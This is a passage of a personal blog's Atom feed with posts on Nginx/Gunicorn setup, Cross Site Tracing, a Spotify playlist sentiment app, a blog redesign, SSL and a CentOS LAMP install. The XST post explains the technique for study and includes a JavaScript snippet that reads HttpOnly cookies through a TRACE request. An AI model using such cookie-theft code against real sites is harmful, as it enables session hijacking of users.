<pre class="prettyprint linenums"><code class="bash language-bash">[user@okcomputer]$ <span class="hljs-built_in">sudo</span> systemctl start myapp.service
[user@okcomputer]$ <span class="hljs-built_in">sudo</span> systemctl <span class="hljs-built_in">enable</span> myapp.service
</code></pre>
<h3 id="0x400nginxconf">0x400: Nginx Conf</h3>
<p>If you've noticed, in the Systemd unit, we've bound Gunicorn to <code class="prettyprint">unix:myapp.sock</code>. Now Gunicorn should be waiting for requests to the socket file <code class="prettyprint">myapp.sock</code> in our project's directory. We need to configure Nginx to to pass requests into this socket. Here is an example of a server block you can use:</p>
<pre class="prettyprint linenums"><code>server {
    listen 80;
    server_name myappdomain;

    location / { # checks for static file, if not found proxy to app
        try_files $uri @proxy_to_app;
    }

    location @proxy_to_app {
        include proxy_params;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_set_header Host $http_host;
        # we don't want nginx trying to do something clever with
        # redirects, we set the Host: header above already.
        proxy_redirect off;
        proxy_pass http://unix:/var/www/myappdirectory/myapp.sock;
    }
}
</code></pre>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Retro Exploits - Cross Site Tracing (XST)]]></title>
        <id>https://justin.duch.me/post/cross_site_tracing</id>
        <link href="https://justin.duch.me/post/cross_site_tracing"/>
        <updated>2018-06-22T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>In 2003, Microsoft attempted to protect against one of the most common forms of Cross Site Scripting by introducing the <code class="prettyprint">HttpOnly</code> flag in Internet Explorer 6, which prevented cookies from being accessed by JavaScript. A common attack was to access the document.cookie object and send it to a web server controlled by the attacker so that they can hijack the victim's session. Tagging a cookie as httpOnly forbids JavaScript to access it, protecting it from being sent to a third party. Cross Site Tracing (XST) was discovered by Jeremiah Grossman in 2003, and is a method used to bypass this protection by using the TRACE HTTP method.</p>
<p>While this method is mostly deprecated now as modern browsers prevent TRACE methods from being made, I still think it's interesting to read about, and is simple enough to explain and allow me to practice blog writing. Now if you're thinking right now <em>'But this was only 15 years ago, why are you calling it retro'</em>? You are right, but you must consider that I was 3 years old when this was discovered, so it's pretty damn old for me.</p>
<p>The TRACE method, according to <a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html">RFC 2616</a>, "allows the client to see what is being received at the other end of the request chain and use that data for testing or diagnostic information." Basically, it echos what is being sent to it for debugging purposes, allowing to see if the web server is malforming the request. The following is an example using cURL to form the header:</p>
<pre class="prettyprint linenums"><code class="bash language-bash">$ curl -X TRACE -H <span class="hljs-string">&quot;X-Header: test&quot;</span> foo.com
TRACE / HTTP/1.1
User-Agent: curl/7.24.0
Host: foo.com Accept: */*
X-Header: <span class="hljs-built_in">test</span>
</code></pre>
<p>As you can see it just sends the header back. Pretty harmless right? Well obviously not, because otherwise I wouldn't be writing about it. The problem is that TRACE will echo all the information you send to the server, this even includes cookies and Web Authentication strings as they are just headers as well.</p>
<pre class="prettyprint linenums"><code class="html language-html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="language-javascript">
  <span class="hljs-keyword">var</span> xmlhttp = <span class="hljs-keyword">new</span> <span class="hljs-title class_">XMLHttpRequest</span>();
  <span class="hljs-keyword">var</span> url = <span class="hljs-string">&#x27;http://foo.com/&#x27;</span>;

  xmlhttp.<span class="hljs-property">withCredentials</span> = <span class="hljs-literal">true</span>; <span class="hljs-comment">// send cookie header</span>
  xmlhttp.<span class="hljs-title function_">open</span>(<span class="hljs-string">&#x27;TRACE&#x27;</span>, url, <span class="hljs-literal">false</span>);
  xmlhttp.<span class="hljs-title function_">send</span>();

  xmlDoc = xmlhttp.<span class="hljs-property">responseText</span>;
  <span class="hljs-title function_">alert</span>(xmlDoc);
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>The above JavaScript code will send a TRACE request to the target web server. If the browser has a cookie from the target domain, the cookies will be shown on the alert. Of course this can be easily changed to do something more malicious such as sending the cookie to another server. XST successfully grants the code ability bypass <code class="prettyprint">httpOnly</code> while accessing cookie data without the use of <code class="prettyprint">document.cookie</code>.</p>
<p>Although this would no longer work on modern browsers, I still think it is important to know that even something seemingly harmless such as the TRACE method can be used as an exploit. If you want to read more about it, you can go through the <a href="http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf">white paper</a> for XST written by Jeremiah Grossman.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Spotify Playlist Depression Score]]></title>
        <id>https://justin.duch.me/post/spds_release</id>
        <link href="https://justin.duch.me/post/spds_release"/>
        <updated>2018-06-15T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p><strong>Update 2019-01-25:</strong> This is no logner online, I'm too lazy to maintain it, but you can still look at it on GitHub.</p>
<p><a href="https://playlistdepressionscore.com">Spotify Playlist Depression Score</a> is a web application I built to determine how depressing a playlist is from it's songs. This article explains how I built it and how it works. As of writing, SPDS is on it's 1.0 release, so keep in mind that there are a lot of improvement to be made, and that this article may not always be up to date. To view the most up to date changes, go through the <a href="https://github.com/beanpuppy/spds/releases">changelog on GitHub</a> or view all SPDS articles through the #SPDS tag.</p>
<h3 id="0x100thearchitecture">0x100: The Architecture</h3>
<p>A big change from the development of this blog is the use of Flask as the web framework. This decision was almost entirely made by the fact that I had no idea how to use sessions in Simplerr at that time (although as it turns out they are functionally the same). This wasn't detrimental in any way, but if I was bothered to redo the application I wouldn't be using Flask.</p>
<p>The application heavily relies on AngularJS, which was a real walk into the unknown for me. I've never done much high level front end development, but making a smooth user experience was a must for this project. Angular just does an AJAX call on a Flask endpoint and displays it when it is received. This seems like a small thing, but it allows me to have a proper loading screen and display much more information to the user. Overall I'd say it looks pretty nice, although I can't say the same for the code.</p>
<h3 id="0x200thelogic">0x200: The Logic</h3>
<p>If you are looking here to find some incredibly advanced mathematics and natural language processing to see how to determine depression, I'm sorry but you're going to be very disappointed. While I do one day hope to be able to make it more advanced (and useful), this project was more of a learning exercise for a few technologies, and as such, the code behind it is quite simple.</p>
<p>The reason it's the '<strong>Spotify</strong> Playlist Depression Score' instead of just 'Playlist Depression Score' is because the Spotify API is an easy way to make sure I can find every song in the playlist. Spotify also does an audio analysis on every track they have. Included with this is a field called 'valence', which measures from 1 to 0 how happy the audio for the track is, where 1 is MAXIMUM HAPPY and 0 is depression. This means that half our job is already done for us! YAY! Now all that's left is the lyrics.</p>
<p>Unfortunately Spotify left us the hardest part of calculating depression. While audio sadness can be somewhat easily determined by looking a what chords are being played, the lyrics are much more difficult as we would need to know what the entire song 'means'. The application would need to be able to understand what the words mean and what they mean when they are sung together. This is much too hard for me so I took the easy way out.</p>
<p>First we use the Genius API to get our lyrics. However, for some reason getting a track from the API won't give us the lyrics, so instead we use the API to find the URL to the Genius website where we can scrape the lyrics from (luckily they are all under a CSS class called 'lyrics' which makes it very easy to find with BeautifulSoup). Now we go through the song word by word picking out sad words and adding them to a score. I just took this <a href="https://github.com/motazsaad/emotion-lexicon">lexicon</a> and used the emotions most commonly associated with depression. In order to get the valence to match the 1 to 0 scale of Spotify's audio, we find the percentage of sad words to lyrics and find the lyrical density of the song to find how important the lyrics are to the song. Then we do some maths which to be honest I've sort of forgotten what it was doing (because it was mainly trial and error to find a value I thought looked right. Impressive, I know). Now we can just average it with the audio valence, and we've found our score!</p>
<p>Of course I could sit here and contemplate typing a single sentence for several hours and generally being incredibly unsure of what I should be saying, but it would probably be better to just show the code as it would do a better job explaining what it does than I would.</p>
<pre class="prettyprint linenums"><code class="python language-python">    audio           = spotify.get_audio_features(track[<span class="hljs-string">&#x27;track&#x27;</span>][<span class="hljs-string">&#x27;id&#x27;</span>])
    audio_valence   = audio[<span class="hljs-string">&#x27;valence&#x27;</span>]
    lyrical_valence = <span class="hljs-number">0.9</span> <span class="hljs-keyword">if</span> audio_valence &gt; <span class="hljs-number">0.3</span> <span class="hljs-keyword">else</span> <span class="hljs-number">0.9</span> - audio\_valence
    score           = <span class="hljs-built_in">round</span>(audio_valence * <span class="hljs-number">100</span>)

    incomplete = <span class="hljs-string">&#x27;yes&#x27;</span>

    <span class="hljs-keyword">if</span> <span class="hljs-string">&#x27;error&#x27;</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> lyrics:
        words = re.split(<span class="hljs-string">r&#x27;[\s\]\[]&#x27;</span>, lyrics)
        sad_words = <span class="hljs-number">0</span>
        <span class="hljs-keyword">for</span> word <span class="hljs-keyword">in</span> words:
            <span class="hljs-keyword">if</span> word <span class="hljs-keyword">in</span> Config.STOP_WORDS <span class="hljs-keyword">or</span> word == <span class="hljs-string">&#x27;&#x27;</span>:
                words.remove(word)
            <span class="hljs-keyword">if</span> word <span class="hljs-keyword">in</span> Config.LEXICON_SADNESS:
                sad_words += <span class="hljs-number">5</span>
            <span class="hljs-keyword">if</span> word <span class="hljs-keyword">in</span> Config.LEXICON_FEAR:
                sad_words += <span class="hljs-number">2.5</span>
            <span class="hljs-keyword">if</span> word <span class="hljs-keyword">in</span> Config.LEXICON_ANGER:
                sad_words += <span class="hljs-number">1</span>

            percent_sad = sad_words / <span class="hljs-built_in">len</span>(words) * <span class="hljs-number">100</span>
            lyrical_density = <span class="hljs-built_in">len</span>(words) / track[<span class="hljs-string">&#x27;track&#x27;</span>][<span class="hljs-string">&#x27;duration_ms&#x27;</span>] * <span class="hljs-number">1000</span>
            lyrical_valence = ((<span class="hljs-number">1</span> - (percent_sad * (<span class="hljs-number">1</span> + lyrical_density)) + <span class="hljs-number">100</span>) / <span class="hljs-number">100</span>)
            incomplete = <span class="hljs-string">&#x27;no&#x27;</span>

    score = <span class="hljs-built_in">round</span>((audio\_valence + lyrical\_valence) / <span class="hljs-number">2</span> * <span class="hljs-number">100</span>)
</code></pre>
<p>As you may have noticed, the <code class="prettyprint">incomplete</code> flag was made because Genius doesn't always have the lyrics for a song so we have to guess how sad it's lyrics are (if it even has them). This is just based on the audio valence, because I like to assume sad instrumentals means sad song.</p>
<p>That's the entire application, it's very small and I have a few more ideas that will probably never get implemented. But it did it's job in allowing me to learn some new stuff, and that's all that matters right?</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[How The Fuck Do You Write a Blog?]]></title>
        <id>https://justin.duch.me/post/how_do_you_write_a_blog</id>
        <link href="https://justin.duch.me/post/how_do_you_write_a_blog"/>
        <updated>2018-05-30T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>So far this blog has averaged 0.6 articles per month (including this one) since it was launched in Feburary. Normally you would assume this is just because I'm lazy or that my social anxiety prevents me from writing anything on the internet because of a constant fear of judgement. And normally you'd be right, and you are. But it's also because of something else.</p>
<p>When I was first creating this blog, I wanted to make everything from scratch (the idiom, not the language) and I really do mean EVERYTHING. Flask? Literally any web framework? Why would I need that when I have Jinja and CGI? URL endpoints? HAH! I could just use the Apache config to map everything! Bootstrap?? WHAT A JOKE! I DON'T NEED THAT! I'M A CSS MASTER!</p>
<p>Obviously this was a terrible idea that came from my original plans to have the entire website emulate the command line (which is also a terrible idea that I also have no idea how to do). So now four months later, we will look at the old site and laugh at how stupid I was.</p>
<p>Right before I wrote this article, I mapped the old site on the Wayback Machine so you could go and <a href="https://web.archive.org/web/20180529040508/https://blog.justinduch.com">look at all 8 pages here.</a> You can also see the source code up to the final commit before this redesign <a href="https://github.com/apt-helion/blog/tree/484e9c3d808e08ab41605a3c8a36c4793ba49274">here.</a> I've also included some pictures in case you were to lazy to click on those.</p>
<h3 id="0x100thelooks">0x100: The Looks</h3>
<p>There isn't too much to say here apart from: 'it isn't very nice'. It was my first time using CSS grid in any real capacity, and while I do like it - probably more than Bootstrap, I wasn't able to do very much with my more limited CSS knowledge. You can see I had my original plans in mind while desiging it, with all it's plain-ness, but not a good minimalist plain, the bad, uninteresting plain.</p>
<p><img src="/img/blog1.0-root.png" alt="image-alternative" /></p>
<p>Figure 0: The homescreen with the tree style web page directory.</p>
<p>Let's just start with the homepage <code class="prettyprint">/</code>. It's actually okay in my opinion, probably the best page in the site. The tree style directory map looks decent in the center, making the command line design inspiration very clear. Overall I don't hate it, although it is useless because no one would need to go to it.</p>
<p><img src="/img/blog1.0-articles.png" alt="image-alternative" /></p>
<p>Figure 1: The <code class="prettyprint">/articles</code> page</p>
<p>Clicking on articles takes us to <code class="prettyprint">/articles</code> and now we face the horror. This is pretty much what the entire site looks like. A harsh contrast of black and white making it very tough on the eyes. The command line design continues with the header showing a nice 'pwd' which displays your current directory. The tree style pages do not suit the format of a sidebar, and makes it look out of place. If you click on an article, you can see that the sidebar will grow along with the length of the article, but the tree will stay at the top, making the left side wasted space. The design is pretty utilitarian (in the bad way) and makes no attempt to please the reader.</p>
<p>That's all I have to say about the asthetics, I don't know how to properly critque this. I'm not a designer by any means and this should have shown you why.</p>
<h3 id="0x200thelogic">0x200: The Logic</h3>
<p>Here is the real monster, the reason I haven't bothered to write any posts, and maybe even my worst attempt at designing a piece of software I've ever written. I'm not sure on where to even start, so many things are just wrong and inefficent.</p>
<p>How about the things I didn't do? Continuing on from the intro, I didn't use any web frameworks with only Jinja as a templating engine and pure CGI magic with Apache rewrite rules to change the URL.</p>
<p>What does this mean? It means that in order to get the blog's content to do what I wanted (which was to have each article be accessible from it's own URL instead of using a GET request with an ID for the database) the articles had to be in the html folder for Apache to serve them to the user. And since these articles were in the html folder and not cgi-bin, Jinja could not render them, which meant I had no templating for my articles. Of course this then meant that everytime I would have to make a change to the general layout of the blog, I would have do it to the layout for Jinja templating as well as every article in the html folder. Oh no.</p>
<p>My cgi-bin scripts also suffered from this as I had to rewrite the URL for each page. Here's a small peak of my Apache config (since it isn't on GitHub).</p>
<pre class="prettyprint linenums"><code>RewriteEngine On
RewriteRule ^/$ /index.html [PT] # Fix later
RewriteRule ^/articles/$ /app/articles [PT]
RewriteRule ^/articles/security$ /app/security [PT]
RewriteRule ^/articles/misc$ /app/misc [PT]
RewriteRule ^/info$ /app/info [PT]
RewriteRule ^/contact-me$ /app/contact [PT]
</code></pre>
<p>Yeah, it isn't pretty. Note the fix later comment.</p>
<p>This caused me a lot of work to be done on even the tinyest change, and really put me off on working on it. That is until I decided to burn it and start again.</p>
<h3 id="0x300theredesign">0x300: The Redesign</h3>
<p>What you are reading now is blog 2.0, the redesign. I've made many improvements to make the website better to view and develop. The biggest change as you can imagine is the use of an actual web framework. The blog uses <a href="https://github.com/yevrah/simplerr">simplerr</a>, a framework one of my co-workers made, and one that I find easier to use than Flask (although that may be because I've used it more). It's also using a Bootstrap template, so no more plain ugly.</p>
<p>All of this and more such as the tagging system have been made 1 day faster (2 days) than what blog 1.0 took (3 days), which really shows how much easier using other people's stuff is. Obviously, there's much more to improve, but that is mainly on my side to make it easier to manage/write articles.</p>
<h3 id="0x400whatsnext">0x400: What's Next</h3>
<p>A big feature that's standard of every blogging site is the ability to write articles on the site and then uploading it to the database. Right now I write it in HTML using Vim and then manually edit the database. This is pretty inefficent and it wouldn't be too hard to add a text editor to the site, but right now I do not want to deal with authentication (so that only I can see and upload in progess articles), so this feature is on hold. I simply do not post enough for this to be a major problem right now ;)</p>
<p><strong>Update 2018-05-31:</strong> jks nvm that was easy. I didn't need auth, just set an environment variable for the production server, so you can only edit articles on dev machines.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[SSL And Encryption]]></title>
        <id>https://justin.duch.me/post/ssl_and_encryption</id>
        <link href="https://justin.duch.me/post/ssl_and_encryption"/>
        <updated>2018-04-02T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>TLS (Transfer Layer Security) / SSL (Secure Socket Layer) are standard, cryptographic protocols that establish security over computer networks, between a web server and a browser. SSL provides a trusted environment where all data being transmitted is encrypted.</p>
<p>This article is technically a continuation of my <a href="/post/lamp_stack_on_centos">last article</a> where we set up a CentOs7 server with Apache, and will go through explaining SSL aswell as setting it up our sever.</p>
<h3 id="0x100tlsssl">0x100: TLS/SSL?</h3>
<p>The terms SSL and TLS are often used interchangeably or in conjunction with each other (TLS/SSL), but one is in fact the predecessor of the other — SSL 3.0 served as the basis for TLS 1.0 which, as a result, is sometimes referred to as SSL 3.1.</p>
<p>As SSL was named by Netscape, the creators of the protocol, it was changed to TLS to avoid any legal issues with them so that the protocol could be "open and free". It also hints at the idea that the protocol works over any bidirectional stream of bytes, not just Internet-based sockets.</p>
<p>In order to prevent any confusion we will refer to TLS/SSL as just SSL from now on.</p>
<h3 id="0x200aprimeronencryptionandssl">0x200: a primer on encryption and SSL</h3>
<h4 id="0x201asymertricandsymmetricencryption">0x201: asymertric and symmetric encryption</h4>
<p>Asymmetric encryption (or public-key cryptography) uses a separate key for encryption and decryption. Anyone can use the encryption key (public key) to encrypt a message. However, decryption keys (private keys) are secret. This way only the intended receiver can decrypt the message.</p>
<p>Asymmetric keys are typically 1024 or 2048 bits. However, keys smaller than 2048 bits are no longer considered safe to use. Though larger keys can be created, the increased computational burden is so significant that keys larger than 2048 bits are rarely used. To put it into perspective, it would take an average computer more than 14 billion years to crack a 2048-bit certificate.</p>
<p>Symmetric encryption (or pre-shared key encryption) uses a single key to both encrypt and decrypt data. Both the sender and the receiver need the same key to communicate.</p>
<p>Symmetric key sizes are typically 128 or 256 bits, where a larger key is harder to crack. For example, a 128-bit key has <code class="prettyprint">340,282,366,920,938,463,463,374,607,431,768,211,456</code> encryption code possibilities.</p>
<p>Whether a 128-bit or 256-bit key is used depends on the encryption capabilities of both the server and the client software. SSL Certificates do not dictate what key size is used.</p>
<h4 id="0x202ssl">0x202: SSL</h4>
<p>An SSL encrypted connection is generated through both asymmetric and symmetric cryptography through an SSL handshake. In SSL communications, the server’s SSL Certificate contains an asymmetric public and private key pair. The session key that the server and the browser create during the SSL Handshake is symmetric. In essence:</p>
<ul>
<li>The handshake begins when a client connects to an SSL-enabled server requesting a secure connection.</li>
<li>The server then provides identification in the form of a digital certificate. The certificate contains the server name, the trusted certificate authority (CA) that vouches for the authenticity of the certificate, and the server's public encryption key.</li>
<li>The client confirms the validity of the certificate before proceeding and then creates a symmetric session key and encrypts it with the server's asymmetric public key. Then sends it to the server.</li>
</ul>
<p>This concludes the handshake and begins the secured connection, which is encrypted and decrypted with the session key until the connection closes. If any one of the above steps fails, then the SSL handshake fails and the connection is not created.</p>
<h3 id="0x300thesslcertificate">0x300: the SSL certificate</h3>
<p>The SSL certificate is the most important component when generating an SSL connection between the client and server. Anyone can create a certificate, but browsers only trust certificates that come from an organization on their list of trusted CAs. Browsers come with a pre-installed list of trusted CAs, known as the Trusted Root CA store. In order to be added to the Trusted Root CA store and thus become a Certificate Authority, a company must comply with and be audited against security and authentication standards established by the browsers.</p>
<p>SSL Certificates will contain details of whom the certificate has been issued to. This includes the domain name or common name, serial number; the details of the issuer; the period of validity - issue date and expiry date; SHA Fingerprints; subject public key algorithm, subject's public key; certificate signature algorithm, certificate signature value. Other important details such as the type of certificate, SSL/TLS version, Perfect Forward Secrecy status, and cipher suite details are included. Organization validated and extended validation certificates also contain verified identity information about the owner of the website, including organization name, address, city, state and country.</p>
<p>For our server we will get an SSL certificate from Let's Encrypt, a free, automated, and open CA, run for the public’s benefit.</p>
<h3 id="0x400letsencrypt">0x400: let's encrypt</h3>
<p>The first step to using Let's Encrypt to obtain an SSL certificate is to install <code class="prettyprint">certbot</code> on our server. But before we begin, we must will need to enable the <code class="prettyprint">EPEL</code> repository, which provides additional packages for CentOS, including the <code class="prettyprint">certbot</code> package we need. We will also need to install the <code class="prettyprint">mod_ssl</code> module to correctly serve encrypted traffic.</p>
<pre class="prettyprint linenums"><code>[user@okserver]$ sudo yum install epel-release
[user@okserver]$ sudo yum install mod_ssl python-certbot-apache
</code></pre>
<h4 id="0x401requestingacertificate">0x401: requesting a certificate</h4>
<p>Using certbot to generate a certificate is quite easy. The client will automatically obtain and install a new SSL certificate that is valid for the domains provided as parameters. To execute the interactive installation and obtain the certificates, run the certbot command with:</p>
<pre class="prettyprint linenums"><code>[user@okserver]$ sudo certbot --apache -d YOUR_DOMAIN -d OPTIONAL_DOMAIN
</code></pre>
<p>We will be presented with a step-by-step guide to customize our certificate options. We will be asked to provide an email address for lost key recovery and notices. If our Virtual Host files do not specify the domain they serve explicitly using the ServerName directive, we will be asked to choose the Virtual Host file (the default ssl.conf file should work).</p>
<p>That's pretty much it. The generated certificate files should be available within a subdirectory named after your base domain in the /etc/letsencrypt/live directory. However, as the default SSL configuration shipped with CentOS's version of Apache is a bit dated and as such, it is vulnerable to some more recent security issues and is recommended that we select more secure SSL options. I suggest going through Remy van Elst's <a href="https://raymii.org/s/tutorials/Strong_SSL_Security_On_Apache2.html">tutorial</a> on strong SSL security on the Apache2 webserver, as it does a better job of explaining it's solutions than I would.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Setting up a LAMP Stack on CentOS 7]]></title>
        <id>https://justin.duch.me/post/lamp_stack_on_centos</id>
        <link href="https://justin.duch.me/post/lamp_stack_on_centos"/>
        <updated>2018-01-22T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Welcome to the first post of my blog! This article will teach you how to set up a LAMP Linux(CentOS), Apache, MySQL, Python web server from scratch, just like how I did to get this blog running. This guide will go through everything and not all of it may apply to your circumstance, so feel free to skip ahead using the table of contents.</p>
<h3 id="0x100thednsandwebserver">0x100: the DNS and web server</h3>
<p>The DNS (Domain Name System) is a system that resolves a server's domain name eg. blog.justinduch.com into an IP address. In order for your page to be viewable, you must point your domain name to the webserver.</p>
<p>As this process is different for every domain name registrar and server provider it is up to you to find the documentation to do this for your specific setup. Once you have a sever and domain name aswell as pointed them, we can continue with the guide.</p>
<h3 id="0x200initialserversetup">0x200: initial server setup</h3>
<p>Once you have your new server, you can log into it through SSH with it's public IP address. On Linux/Mac machines, use the command:</p>
<pre class="prettyprint linenums"><code>[user@okcomputer]$ ssh root@SERVER_IP
</code></pre>
<p>or connect through PUTTY on a Windows machine.</p>
<h4 id="0x201addinganewuser">0x201: adding a new user</h4>
<p>Now you are logged in as the root user, which is the administrative user in a Linux environment and is given heightend privilages. Because of this, we will create a new user that we will use to log in from now in order to help prevent making any destructive changes on accident.</p>
<pre class="prettyprint linenums"><code>[root@okserver]# useradd USER_NAME
</code></pre>
<p>Now you can assign the user a password:</p>
<pre class="prettyprint linenums"><code>[root@okserver]# passwd USER_NAME
</code></pre>
<p>Our new user has been set up, but it only has regular user privilages. If we ever want to do administrative tasks on the server (like installing packages in the later sections), our regular user will be denied access. To avoid having to go back to root, we can set up our user as a 'super user'. This allows the user to run commands with root privilages by adding sudo before each command.</p>
<p>To do this we will add our user to the wheel group. By default, on CentOS, members of the wheel group have sudo privileges.</p>
<pre class="prettyprint linenums"><code>[root@okserver]# usermod -aG wheel USER_NAME
</code></pre>
<h4 id="0x202configuringssh">0x202: configuring ssh</h4>
<p>To make our server more secure we will configure the SSH daemon to disallow remote SSH access from root and change the deafult SSH port. Changing the default port from 22 to someting more unique will help to stop many automated attacks, and make it harder to guess which port SSH is accessible from. You can enter any port number from 1024 to 32,767.</p>
<p>Open the configuration file on your text editor eg. vi or nano:</p>
<pre class="prettyprint linenums"><code>[root@okserver]# vi /etc/ssh/sshd_config
</code></pre>
<p>Look for the lines:</p>
<pre class="prettyprint linenums"><code>...
Port 22
...
#PermitRootLogin yes
</code></pre>
<p>and change them to:</p>
<pre class="prettyprint linenums"><code>...
Port YOUR_PORT_NUMBER
...
PermitRootLogin no
</code></pre>
<p>Now that we have made our changes, we will restart SSH and test our configuration:</p>
<pre class="prettyprint linenums"><code>[root@okserver]# systemctl restart sshd.service
</code></pre>
<p>Open a <strong>new</strong> terminal window (do not disconnect from the old session until we can verify that the config works) and connect with the command:</p>
<pre class="prettyprint linenums"><code>[user@okcomputer]$ ssh -p PORT user@SERVER_IP
</code></pre>
<p>You should now be logged in as your new user through the new SSH port. If your server has a firewall you may also want to allow TCP connections through the new port and block the old port.</p>
<h3 id="0x300ampedup">0x300: AMP'ed up</h3>
<p>With our server configured we can now go through the the final 3 letters of the LAMP stack.</p>
<p>Before we install anything we should update the system:</p>
<pre class="prettyprint linenums"><code>[user@okserver]$ sudo yum -y update
</code></pre>
<p>Remember that we need to use <code class="prettyprint">sudo</code> from now on to gain root privilages!</p>
<p>From now on this guide will use vim instead of vi as it's text editor, to install vim enter:</p>
<pre class="prettyprint linenums"><code>[user@okserver]$ sudo yum install vim
</code></pre>
<h4 id="0x301aforapache">0x301: a for apache</h4>
<p>Install Apache with:</p>
<pre class="prettyprint linenums"><code>[user@okserver]$ sudo yum install httpd
</code></pre>
<p>Now you can start and enable the service:</p>
<pre class="prettyprint linenums"><code>[user@okserver]$ sudo systemctl start httpd.service
[user@okserver]$ sudo systemctl enable httpd.service
</code></pre>
<h4 id="0x302mformysql">0x302: m for mysql</h4>
<p>We are actually installing <code class="prettyprint">MariaDB</code> for our database, but it still starts with a 'm' so it counts.</p>
<pre class="prettyprint linenums"><code>[user@okserver]$ sudo yum install mariadb mariadb-server
</code></pre>
<p>Start and enable it:</p>
<pre class="prettyprint linenums"><code>[user@okserver]$ sudo systemctl start mariadb
[user@okserver]$ sudo systemctl enable mariadb
</code></pre>
<p>Now you will want to set up the database. Add a root user with:</p>
<pre class="prettyprint linenums"><code>[user@okserver]$ mysqladmin -u root password PASSWORD
</code></pre>
<p>You can test it by connecting to the database with:</p>
<pre class="prettyprint linenums"><code>[user@okserver]$ mysql -u root -p
</code></pre>
<h4 id="0x303pforpython">0x303: p for python</h4>
<p>CentOS actually comes with Python2.7 by deafult, so if you are one of those neanderthals who still use 2.7 you can skip this step. For the rest of us intellectuals, you will need to install install IUS, which stands for Inline with Upstream Stable. IUS provides the Red Hat Package Manager (RPM) packages for some newer versions of select software.</p>
<pre class="prettyprint linenums"><code>[user@okserver]$ sudo yum install https://centos7.iuscommunity.org/ius-release.rpm
</code></pre>
<p>Now you can install Python3:</p>
<pre class="prettyprint linenums"><code>[user@okserver]$ sudo yum install python36u
</code></pre>
<p>You may also want to install pip and the development package needed for the mysqldb module:</p>
<pre class="prettyprint linenums"><code>[user@okserver]$ sudo yum install python36u-pip python36u-devel
</code></pre>
<p>Now your LAMP stack is installed! The next section goes through the Apache config to get you to the testing page.</p>
<h3 id="0x400theapacheconfig">0x400: the apache config</h3>
<p>This section will go through how to get a set up a virtual host in Apache. You can choose many different ways to set up a virtual host, this guide will show the way I did it.</p>
<p>Create the required directories for the website:</p>
<pre class="prettyprint linenums"><code>[user@okserver]$ sudo mkdir /var/www/YOUR_DOMAIN
[user@okserver]$ sudo mkdir /var/www/YOUR_DOMAIN/cgi-bin
[user@okserver]$ sudo mkdir /var/www/YOUR_DOMAIN/html
[user@okserver]$ sudo mkdir /var/www/YOUR_DOMAIN/conf
</code></pre>
<p> <code class="prettyprint">cgi-bin</code> is the directory where you will keep your scripts.</p>
<p> <code class="prettyprint">html</code> is the document root for Apache.</p>
<p> <code class="prettyprint">conf</code> is the directory where your virtual host config is placed.</p>
<p>Now create <code class="prettyprint">vhost.conf</code> in the <code class="prettyprint">conf</code> directory:</p>
<pre class="prettyprint linenums"><code>[user@okserver]$ sudo touch /var/www/YOUR_DOMAIN/conf/vhost.conf
</code></pre>
<p>and edit it:</p>
<pre class="prettyprint linenums"><code>[user@okserver]$ sudo vim /var/www/example.com/conf/vhost.conf
</code></pre>
<p>Here is a very basic example where example.com is my domain name:</p>
<pre class="prettyprint linenums"><code><VirtualHost *:80>
    ServerAdmin admin@example.com
    ServerName example.com
    ServerAlias /app/ "/var/www/example.com/cgi-bin/"
    DocumentRoot /var/www/example.com/html
</VirtualHost>
</code></pre>
<p>Now we can edit the Apache config to include this virtual host config:</p>
<pre class="prettyprint linenums"><code>[user@okserver]$ sudo vim /etc/httpd/conf/httpd.conf
</code></pre>
<p>and this line to the end of the file:</p>
<pre class="prettyprint linenums"><code>Include /var/www/example.com/conf/vhost.conf
</code></pre>
<p>Restart Apache with:</p>
<pre class="prettyprint linenums"><code>[user@okserver]$ sudo apachectl graceful
</code></pre>
<p>That's it! You can test if your web server works by typing your domain into the browser, which should direct you to Apache's testing page. For more config options see the <a href="https://httpd.apache.org/docs/2.4/vhosts/">official documentation.</a></p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
</feed>